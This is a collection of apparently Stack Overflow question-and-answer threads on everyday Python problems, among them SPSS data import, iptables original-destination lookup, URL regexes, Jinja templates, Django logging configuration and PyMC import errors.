'/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', '/usr/lib/hue/apps/beeswax/src/beeswax/../../gen-py', '/usr/lib/hue/apps/jobbrowser/src/jobbrowser/../../gen-py', '/usr/lib/hue/apps/proxy/src/proxy/../../gen-py'] Server time: Sun, 31 May 2015 22:05:23 -0700 Answer: Can you try by reimporting the sandbox again..I solved the issue by deleting and reimporting it again to VM.
How are numeric and string variables determined in SPSS? Question: So I found this page that explains the different types of variables very well: <http://www.spss-tutorials.com/spss-variable-types-and-formats/> I would like to know though, how numeric and string types are differentiated when I export my data? Are numeric and string mapped to any code? I would like to parse SPSS data in Python. Answer: If you take note of the print output generated from the code below, you'll notice that string variables are "exported" to strings (not surprisingly) and numeric variables are converted/exported to floats. Date variables however are also converted to floats, with the date represented as the number of seconds that have elapsed since October 14, 1582 - this is the manner in which SPSS stores date variables but within SPSS there are then [various formats](http://www-01.ibm.com/support/knowledgecenter/SSLVMB_21.0.0/com.ibm.spss.statistics.help/syn_date_and_time_date_time_formats.htm) that the date variable can be set to be displayed as (the float value stored internally of course remains the same). **Input file variable formats:** ![enter image description here](http://i.stack.imgur.com/kb256.png) **Input file data view:** ![enter image description here](http://i.stack.imgur.com/rNC7j.png) **Code to read SPSS data into Python and print results:** get file="C:\Program Files\IBM\SPSS\Statistics\23\Samples\English\Employee data.sav". begin program. import spss, spssdata allfiles = spssdata.Spssdata().fetchall() print "\n".join([str(i) for i in allfiles]) end program. **Output:** namedTuple(1.0, u'm ', 11654150400.0, 15.0, 3.0, 57000.0, 27000.0, 98.0, 144.0, 0.0) namedTuple(2.0, u'm ', 11852956800.0, 16.0, 1.0, 40200.0, 18750.0, 98.0, 36.0, 0.0) namedTuple(3.0, u'f ', 10943337600.0, 12.0, 1.0, 21450.0, 12000.0, 98.0, 381.0, 0.0) namedTuple(4.0, u'f ', 11502518400.0, 8.0, 1.0, 21900.0, 13200.0, 98.0, 190.0, 0.0) namedTuple(5.0, u'm ', 11749363200.0, 15.0, 1.0, 45000.0, 21000.0, 98.0, 138.0, 0.0) namedTuple(6.0, u'm ', 11860819200.0, 15.0, 1.0, 32100.0, 13500.0, 98.0, 67.0, 0.0) namedTuple(7.0, u'm ', 11787552000.0, 15.0, 1.0, 36000.0, 18750.0, 98.0, 114.0, 0.0) namedTuple(8.0, u'f ', 12103948800.0, 12.0, 1.0, 21900.0, 9750.0, 98.0, 0.0, 0.0) namedTuple(9.0, u'f ', 11463897600.0, 15.0, 1.0, 27900.0, 12750.0, 98.0, 115.0, 0.0) namedTuple(10.0, u'f ', 11465712000.0, 12.0, 1.0, 24000.0, 13500.0, 98.0, 244.0, 0.0) namedTuple(11.0, u'f ', 11591424000.0, 16.0, 1.0, 30300.0, 16500.0, 98.0, 143.0, 0.0) namedTuple(12.0, u'm ', 12094012800.0, 8.0, 1.0, 28350.0, 12000.0, 98.0, 26.0, 1.0) namedTuple(13.0, u'm ', 11920867200.0, 15.0, 1.0, 27750.0, 14250.0, 98.0, 34.0, 1.0) namedTuple(14.0, u'f ', 11561529600.0, 15.0, 1.0, 35100.0, 16800.0, 98.0, 137.0, 1.0) namedTuple(15.0, u'm ', 11987654400.0, 12.0, 1.0, 27300.0, 13500.0, 97.0, 66.0, 0.0) ... ...
Python/iptables: Original Destination IP Question: I'm trying to get original destination information for packets redirected with iptables (the ultimate goal is to redirect all network traffic to localhost while retaining the original destination ip). I'm sending packets using the following code: import socket HOST = '192.168.10.1' PORT = 50007 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(b'whatever') s.close() Then redirecting it with: iptables -t nat -A OUTPUT -d 192.168.10.1 -j DNAT --to 127.0.0.1 And then receiving them with: import socket HOST = '' PORT = 50007 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) while True: s.listen(5) conn, addr = s.accept() print('Connected by', addr) data = conn.recv(1024) if(data): print(data) conn.close() I tried using something like dst = conn.getsockopt(socket.SOL_IP, socket.SO_ORIGINAL_DST, 16) but this results in AttributeError: 'module' object has no attribute 'SO_ORIGINAL_DST' Answer: Some further reading and trying led me to my mistake. I got a little confused with various approaches I read about and lost track. The clue was in defining SO_ORIGINAL_DST (in this case for TCP). This code (taken from [here](https://github.com/apenwarr/sshuttle/blob/9ce2fa00f94c2f2e5c310abeb1a2907ae7e7a7b0/client.py)) does exactly what I want: SO_ORIGINAL_DST = 80 sockaddr_in = conn.getsockopt(socket.SOL_IP, SO_ORIGINAL_DST, 16) (proto, port, a, b, c, d) = struct.unpack('!HHBBBB', sockaddr_in[:8]) print('Original destination was: %d.%d.%d.%d:%d' % (a, b, c, d, port))
how to write such a regular expression in Python Question: I want to write a python regular expression which match a URL like the following rules. 1. start with "http://" 2. in the domain part, end with "some.domain" 3. in the path part, exclude end with a list of words like "tar", "zip" 4. the url may contain optional query part, like "?key1=value1&key2=value2" For example, "<http://some.domain/a.zip>", "<http://sub.some.domain/a.zip?key=value>" matches this pattern, "<http://www.other.domain/a.zip>", "<http://www.some.domain/a.zipp>" dose not match. Answer: As others have said in the comments, best to use a URL parser as URLs in particular can vary wildly and you could miss. However, here's one example that does what I believe you want. #!/usr/bin/python import re strings = [ "http://some.domain/", "http://some.domain/a.zip", "http://some.domain/a.tar", "http://sub.some.domain/a.zip?key=value", "http://www.other.domain/a.zip", "http://www.some.domain/a.zipp0" ] for url in strings: # match "http://" # match anything up to "some.domain/", greedy # match "some.domain/" # optionally, match anything up to .zip or .tar, greedy # match ".tar" or ".zip", if above optional is present # optionally, match a "?" after .zip/.tar, followed by anything, greedy # match the end of string if re.search(r'http://.*some\.domain/(.*\.(zip|tar)(\?.*)?)?$', url): print("url: {} MATCHES".format(url)) else: print("url: {} DOESN'T MATCH".format(url)) Output: ./url.py url: http://some.domain/ MATCHES url: http://some.domain/a.zip MATCHES url: http://some.domain/a.tar MATCHES url: http://sub.some.domain/a.zip?key=value MATCHES url: http://www.other.domain/a.zip DOESN'T MATCH url: http://www.some.domain/a.zipp0 DOESN'T MATCH -stevieb
How the function auto.arima() in R determines d? Question: What is the test used in auto.arima() function in R to determine stationarity i.e to determine the value of "d" Can that logic be implemented in python? Answer: This [link](https://www.otexts.org/fpp/8/7) says it is determined using repeated KPSS tests. I see no reason why it couldn't be implemented in Python, it would just need to be written. Otherwise, you could use [rpy2](http://rpy.sourceforge.net/rpy2/doc-dev/html/introduction.html) and just call `auto.arima` from python. from rpy2 import * import rpy2.robjects as RO RO.r('library(forecast)') # use example WWWusage data RO.r('fit <- auto.arima(WWWusage)')
Script to download website source to a folder Question: I am trying to learn simple automation. I have set up an Ubuntu Server and I want to configure it to download html source from a specific URL and append to a file in a specified folder on the server every 1 minute. The URL is just basic html with no CSS whatsoever. I want to use python but admittedly can use any language. What is a good, simple day to do this? Answer: Just pip install the requests library. $ pip install requests Then, it's super easy to get the HTML (put this in a file called get_html.py, or whatever name you like): import requests req = requests.get('http://docs.python-requests.org/en/latest/user/quickstart/') print(req.text) There are a variety of options for saving the HTML to a directory. For example, you could redirect the output from the above script to a file by calling it like this: python get_html.py > file.html Hope this helps
Python Template, checking for variable value type for iteration Question: Say that I have this dictionary {"k1":"dog", "k2":"cat", "k3":["Pochi","Wanwan"]} Now in my template, I'm iterating like so: {% for key, value in dict.iteritems() %} <tr> <td>{{ key }}</td> <td>{{ value }}</td> </tr> {% endfor %} But I do want to do some additional processing within the tags, is it possible to check if "value" is of a list or dictionary type? So that instead of just spitting out the list, I could do things like, say bullet them. Answer: To check if "value" is of a dictionary type you could do something like {% for key, value in dict.iteritems() %} <tr> <td>{{ key }}</td> {% if value is mapping %} "Do something" {% else %} <td>{{ value }}</td> </tr> {% endfor %} To check if "value" is of a list type, you could create a custom filter. [Here's](http://stackoverflow.com/questions/11947325/testing-for-a-list-in- jinja2) a link you would find useful. Edit: Here's an example of how you would create a custom filter. First the function def is_list(value): return isinstance(value, list) Then declare the function as a filter from flask import Flask app = Flask(__name__) .... app.jinja_env.filters['is_list'] = is_list Then the filter will be available in your template.
Django 1.8 Loggers settings are ignored Question: I'm fighting with django logging since this morning and nothing... I've read the [documentation](https://docs.djangoproject.com/en/1.8/topics/logging/) then searched Google and found [this](http://www.webforefront.com/django/setupdjangologging.html) and [this](https://www.caktusgroup.com/blog/2015/01/27/Django-Logging- Configuration-logging_config-default-settings-logger/) and I ended with something like this: """ -------------------------------------------------------------------- Django settings for uploader project. -------------------------------------------------------------------- """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # ---------------------------------------------------------------------- # Loggers # ---------------------------------------------------------------------- LOGGING_CONFIG = None LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse', }, 'require_debug_true': { '()': 'django.utils.log.RequireDebugTrue', }, }, 'formatters': { 'simple': { 'format': '[%(asctime)s] %(levelname)s %(message)s', 'datefmt': '%Y/%m/%d %H:%M:%S', }, 'verbose': { 'format': '[%(asctime)s] %(levelname)s [%(name)s.%(funcName)s.%(lineno)d] %(message)s', 'datefmt': '%Y/%m/%d %H:%M:%S', }, }, 'handlers': { 'console': { 'level': 'DEBUG', 'filters': ['require_debug_true'], 'class': 'logging.StreamHandler', 'formatter': 'simple', }, 'development_log': { 'level': 'DEBUG', 'filters': ['require_debug_true'], 'class': 'logging.FileHandler', 'filename': os.path.join(BASE_DIR, 'logs/development.log'), 'formatter': 'verbose', }, 'production_log': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'logging.FileHandler', 'filename': os.path.join(BASE_DIR, 'logs/production.log'), 'formatter': 'simple', }, }, 'loggers': { 'uploader': { 'handlers': ['console', 'development_log', 'production_log'], }, 'django': { 'handlers': ['console', 'development_log', 'production_log'], }, 'py.warnings': { 'handlers': ['console', 'development_log'], }, }, } import logging.config logging.config.dictConfig(LOGGING) and this how I log my own data: import logging from django.shortcuts import render from django.http import HttpResponse, HttpResponseRedirect from django.core.urlresolvers import reverse from .models import MFile from .forms import MFileForm # ---------------------------------------------------------------------- def upload(request): logger = logging.getLogger(__name__) template = 'main/index.html' logger.debug('Executing upload() view') [...] Files `development.log` and `production.log` are created but they're are empty and console shows standard logging output like: Performing system checks... System check identified no issues (0 silenced). June 01, 2015 - 20:39:23 Django version 1.8.2, using settings 'uploader.settings' Starting development server at http://127.0.0.1:8000/ Quit the server with CONTROL-C. [01/Jun/2015 20:39:29]"GET / HTTP/1.0" 200 2195 [01/Jun/2015 20:40:03]"POST /upload HTTP/1.0" 302 0 [01/Jun/2015 20:40:03]"GET / HTTP/1.0" 200 2195 so am I misunderstanding something or django ignores those settings ? Everything is run under virtualenv from python 3 which was created with python3 -m venv --without-pip venv source venv/bin/activate wget https://bootstrap.pypa.io/get-pip.py python get-pip.py pip install -r requirements.txt and the requirements.txt: Django==1.8.2 flake8==2.4.1 gunicorn==19.3.0 mccabe==0.3 pep8==1.5.7 Pillow==2.8.1 pyflakes==0.8.1 wheel==0.24.0 Answer: It looks like you are missing logger for your app name itself under `loggers`. If your project name is `django_project` then change the following: 'loggers': { 'uploader': { 'handlers': ['console', 'development_log', 'production_log'], }, to: 'loggers': { 'uploader': { 'handlers': ['console', 'development_log', 'production_log'], }, 'django_project': { 'handlers': ['console', 'development_log', 'production_log'], }, [....] I usually create an "applogger" as a `dict` instance for quick access before this section. applogger = { 'handlers': ['console', 'development_log', 'production_log'], 'level': 'DEBUG', 'propagate': True, } And then finally modify the `loggers` section into something as follows: 'loggers': { 'uploader': { 'handlers': ['console', 'development_log', 'production_log'], }, 'django_project': applogger, 'app_name_1': applogger, [....]
Ipython Notebook: Error in importing module Question: I am trying to import kabuki module. I installed the module in the terminal using easy_installation and everything seems in order. But when I import it in IPython notebook, I get the following error: ImportError: dlopen(/Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/flib.so, 2): Library not loaded: /usr/local/Cellar/gfortran/4.8.2/gfortran/lib/libgfortran.3.dylib Referenced from: /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/flib.so Reason: image not found Can anyone help me and tell me how to fix this? I am using mac OS X. ImportError Traceback (most recent call last) <ipython-input-3-045d55581b72> in <module>() ----> 1 import kabuki /Applications/anaconda/lib/python2.7/site-packages/kabuki-0.5.5-py2.7.egg/kabuki/__init__.py in <module>() ----> 1 from hierarchical import * 2 3 import utils 4 import analyze 5 import step_methods as steps /Applications/anaconda/lib/python2.7/site-packages/kabuki-0.5.5-py2.7.egg/kabuki/hierarchical.py in <module>() 11 12 import pandas as pd ---> 13 import pymc as pm 14 import warnings 15 /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/__init__.pyc in <module>() 28 from .PyMCObjects import * 29 from .InstantiationDecorators import * ---> 30 from .CommonDeterministics import * 31 from .NumpyDeterministics import * 32 from .distributions import * /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/CommonDeterministics.py in <module>() 19 import inspect 20 import types ---> 21 from .utils import safe_len, stukel_logit, stukel_invlogit, logit, invlogit, value, find_element 22 from copy import copy 23 import sys /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/utils.py in <module>() 12 from copy import copy 13 from .PyMCObjects import Variable ---> 14 from . import flib 15 import pdb 16 from numpy.linalg.linalg import LinAlgError Also I am trying to import module hddm and it gives me the following error: ImportError Traceback (most recent call last) <ipython-input-5-17365318b31c> in <module>() ----> 1 import hddm /Applications/anaconda/lib/python2.7/site-packages/HDDM-0.5.5-py2.7-macosx-10.5-x86_64.egg/hddm/__init__.py in <module>() 5 __version__ = '0.5.5' 6 ----> 7 import likelihoods 8 import generate 9 import utils /Applications/anaconda/lib/python2.7/site-packages/HDDM-0.5.5-py2.7-macosx-10.5-x86_64.egg/hddm/likelihoods.py in <module>() 1 from __future__ import division ----> 2 import pymc as pm 3 import numpy as np 4 from scipy import stats 5 /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/__init__.pyc in <module>() 28 from .PyMCObjects import * 29 from .InstantiationDecorators import * ---> 30 from .CommonDeterministics import * 31 from .NumpyDeterministics import * 32 from .distributions import * /Applications/anaconda/lib/python2.7/site-packages/pymc-2.3.3-py2.7-macosx-10.9-x86_64.egg/pymc/CommonDeterministics.py in <module>() 11 __docformat__ = 'reStructuredText' 12 ---> 13 from . import PyMCObjects as pm 14 from .Node import Variable 15 from .Container import Container ImportError: cannot import name PyMCObjects Answer: As the error message says and [the install documentation hinted](https://pymc- devs.github.io/pymc/INSTALL.html#dependencies), you need Fortran library if you compile PyMC from source. In this case, it's looking for [gfortran library](https://gcc.gnu.org/wiki/GFortranBinariesMacOS).